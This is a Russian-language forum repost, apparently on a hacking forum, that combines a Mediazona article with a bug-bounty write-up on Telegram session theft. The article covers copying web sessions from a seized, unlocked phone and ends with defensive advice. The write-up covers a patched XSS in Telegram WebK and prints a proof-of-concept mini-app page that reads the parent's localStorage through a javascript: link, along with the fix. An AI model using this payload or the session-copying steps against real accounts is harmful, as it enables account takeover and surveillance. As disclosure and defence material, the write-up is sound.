• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Мануал Телеграм позволяет перейти в браузерную версию без логина. Как этим могут воспользоваться силовики — и как от этого защититься

admin

#root
Администратор
Регистрация
20.01.2011
Сообщения
7,665
Розыгрыши
0
Реакции
135
Несколько российских журналистов обнаружили у себя в Telegram чужие сессии — кто-то зашел в их аккаунты с веб-версии мессенджера. Они уверяют, что не пользовались Telegram через браузер. Это могло произойти из-за автологина: если из приложения Telegram на мобильном телефоне открыть ссылку web.telegram.org, вы попадете в свой аккаунт в окне браузера без каких-либо дополнительных проверок.
В самой функции автологина нет ничего страшного, но если ваш телефон попадет в руки злоумышленников или силовиков, такую сессию из браузера легко украсть — и тогда ваш аккаунт смогут читать в реальном времени.
«Медиазона» воспроизвела такой способ и рассказывает, как от него защититься.
О странных сессиях в Telegram у троих российских журналистов Для просмотра ссылки Войди или Зарегистрируйся сегодня в своем канале расследователь Андрей Захаров. По словам Захарова, с ним связались трое коллег, которые заметили у себя в телеграме подозрительные сессии. IP-адрес этих сессий не совпадал с реальным местоположением журналистов.
Захаров предположил, что это может быть не взлом, а результат случайного автологина с мобильного телефона. В начале апреля IT-специалист Михаил Климарев Для просмотра ссылки Войди или Зарегистрируйся, что у российских силовиков есть возможность использовать эту функцию автологина для того, чтобы получать доступ к аккаунту пользователя.
«Медиазона» повторила этот способ.

Как украсть веб-версию Телеграма​

Чтобы зайти в тот же самый аккаунт с другого устройства, телеграм предлагает пользователю сфотографировать QR-код в том приложении, где у вас уже есть активная сессия — а потом ввести пароль.
Кстати, если вы до сих пор не включили у себя в телеграме двухфакторную аутентификацию, сделайте это прямо сейчас. Это важно с точки зрения безопасности.
Этот процесс сильно упрощен в том случае, если вы вы решили зайти в веб-версию со своего мобильного телефона, где у вас уже установлено приложение.
Автологин в вашем браузере произойдет при любом нажатии на ссылку web.telegram.org внутри мобильного приложения мессенджера. То есть, при нажатии на такую ссылку вы получите свой аккаунт в окне браузера без каких-либо дополнительных проверок (даже если включена двухфакторная аутентификация).
Прямые ссылки на web.telegram.org можно встретить в каналах — авторы нередко вставляют их по ошибке. Мы предполагаем, что именно это и произошло с журналистами из поста Захарова — они нажали на ссылку, а телеграм автоматически их залогинил.
313fa7f6149de56c512b369c46bfb4b5


В самой такой функции нет ничего страшного, ведь вы и так имеете доступ к своему аккаунту на этом устройстве. Проблема в другом: эту сессию достаточно легко скопировать из браузера и получить таким образом доступ к веб-версии вашего аккаунта.
Такое может произойти, например, если при переходе российской границы вы разблокировали телефон и показали силовикам ваш телеграм, так как были уверены, что там нет ничего компрометирующего.
Силовики могут либо сами открыть веб-версию телеграма на вашем устройстве, либо скопировать уже готовую сессию из браузера — и таким образом получить постоянный доступ к вашему аккаунту до тех пор, пока вы не почистите сессии. Это касается не только телеграма, но и вообще любых сайтов.
«Медиазона» смогла воспроизвести этот процесс. Мы создали новый аккаунт в телеграме с двухфакторной аутентификацией, в который зашли с Android-устройства (айфоны работают аналогично). Пройдя по ссылке, мы моментально получили доступ к тому же аккаунту в браузере Chrome этого же мобильного телефона. Никаких кодов или прохождения двухфакторной аутентификации не потребовалось.
Затем мы включили в настройках телефона опцию USB Debugging и подключили его к компьютеру. На компьютере, используя в браузере Chrome режим Remote Debugger, мы открыли вкладку с телеграмом, перешли в раздел, где хранятся сессии сайта в мобильном браузере, и полностью перенесли содержимое этого раздела в аналогичное место в браузер на компьютере.
После этого осталось лишь обновить до этого пустую страницу телеграма на компьютере, и мы получили полный доступ к тому же аккаунту, не проходя никаких дополнительных проверок, не зная никаких паролей или кодов. На других устройствах этот вход отображался как та же сессия, что была создана при автологине. После этого мы можем читать и копировать все новые переписки с этого аккаунта — до тех пор, пока пользователь принудительно не удалит эту сессию.
4404b0e9c4b0c30c150530547d1cd7bd


Большинство воспроизведенных нами действий несложно автоматизировать, так что таким методом за секунды можно собрать сессии ко всем популярным сайтам, не только к телеграму. Все, что для этого нужно силовикам — ненадолго получить в свои руки разблокированный телефон (и для телеграма — войти в веб-версию с помощью автологина).
Если до этого вы не заходили в телеграм в браузере этого устройства, то сессия будет новой — вы получите уведомления о ней на других устройствах (если телефон ваше единственное устройство, ничего не мешает силовикам скрыть уведомление). Но если вы уже делали так раньше (специально или по случайности), то никаких уведомлений об этом не будет, а в списке активных сессий не появится никаких новых: злоумышленник будет использовать вашу старую.
Судя по коду клиентов телеграма, который изучила «Медиазона», достать такую же сессию из самого приложения сложнее: например, в Android клиенте сессии хранятся в специальном зашифрованном хранилище. Таким образом, автологин позволяет злоумышленникам получить доступ гораздо более простым путем чем браузер, настолько простым, что это удалось повторить корреспондентам Медиазоны самостоятельно.

Как от этого защититься​

На момент публикации текста выключить автологин в мобильном приложении Telegram нельзя.
Если вы были вынуждены дать силовикам ваш разблокированный телефон, исходите из того, что их доступ к устройству позволяет сделать с ним все, что угодно. К любым активным сессиям на этом устройстве мы рекомендуем относиться как к скомпрометированным.
Кроме того, стоит чаще проверять сессии в телеграме и в других приложениях и на сайтах; подозрительные нужно немедленно удалять и логиниться заново — особенно после того, как ваш телефон побывал в чужих руках. Постарайтесь вообще не сидеть в веб-версии телеграма.

Какие технологии есть у силовиков​

В распоряжении российских силовиков есть целый набор средств, позволяющих им и взламывать смартфоны, и автоматизировать процесс съема информации с разблокированных устройств.
В 2021 году «Медиазона» Для просмотра ссылки Войди или Зарегистрируйся, что во время расследования уголовного дела в отношении Любови Соболь, ее телефоны пытались взломать при помощи устройств израильской компании Cellebrite, которую тогда официально поставляли российскому Следственному комитету. Продукция компании — физические устройства, к которым можно подключить телефон, чтобы они при помощи известных уязвимостей в программном коде (или при разблокированном телефоне) сняли данные — от переписок до сохраненных фотографий.
Айфон и телефон Xiaomi Соболь, которую в итоге осудили по делу проникновении в квартиру сотрудника ФСБ Константина Кудрявцева, предполагаемого участника отравления Алексея Навального, взломать не смогли — но сумели получить доступ к iPhone 11 Pro оператора Абдулкерима Абдулкеримова после «оперативно-розыскных мероприятий, направленных на установление пароля».
После публикации «Медиазоны» израильский юрист и правозащитник Эйтай Мак Для просмотра ссылки Войди или Зарегистрируйся с требованием запретить Cellebrite продавать технологию в Россию. Компания, не дожидаясь рассмотрения иска, Для просмотра ссылки Войди или Зарегистрируйся о прекращении поставок в Россию и Беларусь.
Тем не менее, уже после начала российского вторжения в Украину, Cellebrite Для просмотра ссылки Войди или Зарегистрируйся для доступа к телефону автора телеграм-канала «Протестный МГУ» Дмитрия Иванова, которого в итоге осудили по делу о распространении «фейков» об армии.
Альтернативой Cellebrite является российский комплекс «Мобильный криминалист», который Для просмотра ссылки Войди или Зарегистрируйся о том, что позволяет силовикам использовать уязвимости в коде операционных систем для взлома айфонов и телефонов на Android.

Как это было реализовано (в контексте журналистов).

Перехват сессии Телеги через веб-аппу в один клик​

Это техническое описание критической уязвимости, о которой я сообщил в Баг Баунти Телеграма 9 марта, 2024 года.
Телеграм исправил уязвимость 11 марта 2024 года.

Уязвимая версия: Telegram WebK 2.0.0 (486) и ниже
Исправленная версия: Telegram WebK 2.0.0 (488)

CVE пока не назначен.

Проведение атаки
Мини-апы Телеграма

«Мини-приложения Telegram — это, по сути, веб-приложения, которые вы можете запускать непосредственно в интерфейсе мессенджера Telegram. Мини-приложения поддерживают простую авторизацию, интегрированные криптовалютные и фиатные платежи (через Google Pay и Apple Pay), индивидуальные push-уведомления и многое другое».
Возможная атака может также затронуть пользователей Web3, через который обрабатываются криптоплатежи в блокчейне TON.
https://ton.org/mini-apps
[URL]https://core.telegram.org/bots/webapps[/URL]
Описание уязвимости

Вредоносное мини-приложение может выполнять произвольный JavaScript через web.telegram.org, что приводит к перехвату сеанса. XSS-уязвимость активируется с использованием типа события web_app_open_link через postMessage.
файлы

[I]Это кэшированная версия уязвимого файла: https://web.telegram.org/k/appDialogsManager-aLs9GOvc.js.[/I]
[I][URL]https://web.telegram.org/src/components/popups/webApp.ts[/URL] (теперь 404 из-за поча)[/I]

Уязвимость содержится в следующей строке:
Код:
telegramWebView.addMultipleEventsListeners({
  // [...]
  web_app_open_link:({url:t})=>{window.open(t,"_blank")}
}

Событие web_app_open_link открывает новую вкладку с указанным URL-адресом, переданным в качестве аргумента. В таких случаях злоумышленник может использовать схему javascript:, чтобы оставаться в контексте JavaScript родительского окна независимо от открытия новой вкладки с другим URL-адресом. Тем не менее, пейлоад javascript:alert(1) вызывает PoC XSS (выполняется на web.telegram.com при посещении моего мини-приложения).
Подготовка
1.
Злоумышленник создает бот + мини-приложение.
2. Устанавливает URL-адрес мини-приложения => Для просмотра ссылки Войди или Зарегистрируйся.
3. Эксплойт будет размещен на главной странице сайта злоумышленника.
3.1. homepage.html
JavaScript:
<body onload=exploit()>
<script>
function exploit() {
    window.parent.postMessage(JSON.stringify({eventType: 'web_app_open_link', eventData: {url: "javascript:alert(JSON.stringify(window.parent.localStorage))"}}), '*');
}
</script>
</body>

Демо работы эксплойта


Релиз пача Телеграма: Для просмотра ссылки Войди или Зарегистрируйся

Код:
web_app_open_link: ({url}) => {
-        window.open(url, '_blank');
+      safeWindowOpen(url);
      },

safeWindowOpen
JavaScript:
export default function safeWindowOpen(url: string) {
  window.open(url, '_blank', 'noreferrer');
}

Аргумент noreferrer исправляет этот недостаток несколькими способами:
  • Запрещает вновь открытому окну отправлять заголовок Referer обратно на исходную страницу.
  • Новое окно изолировано от контекста родительского окна, включая среду выполнения JavaScript.
А это коммит в prod (.env): Для просмотра ссылки Войди или Зарегистрируйся
Код:
VITE_API_ID=1025907
VITE_API_HASH=452b0359b988148995f22ff0f4229750
VITE_VERSION=2.0.0
- VITE_VERSION_FULL=2.0.0 (487)
- VITE_BUILD=487
+ VITE_VERSION_FULL=2.0.0 (488)
+ VITE_BUILD=488
VITE_MTPROTO_WORKER=1
VITE_MTPROTO_SW=
VITE_MTPROTO_HTTP=

Источник: Для просмотра ссылки Войди или Зарегистрируйся

P.S. Интуиция подсказывает, что с мини-приложениями Телеги можно еще поиграться :)


sc: zona.media/article/2024/04/26/autologin
 
Activity
So far there's no one here
Сверху Снизу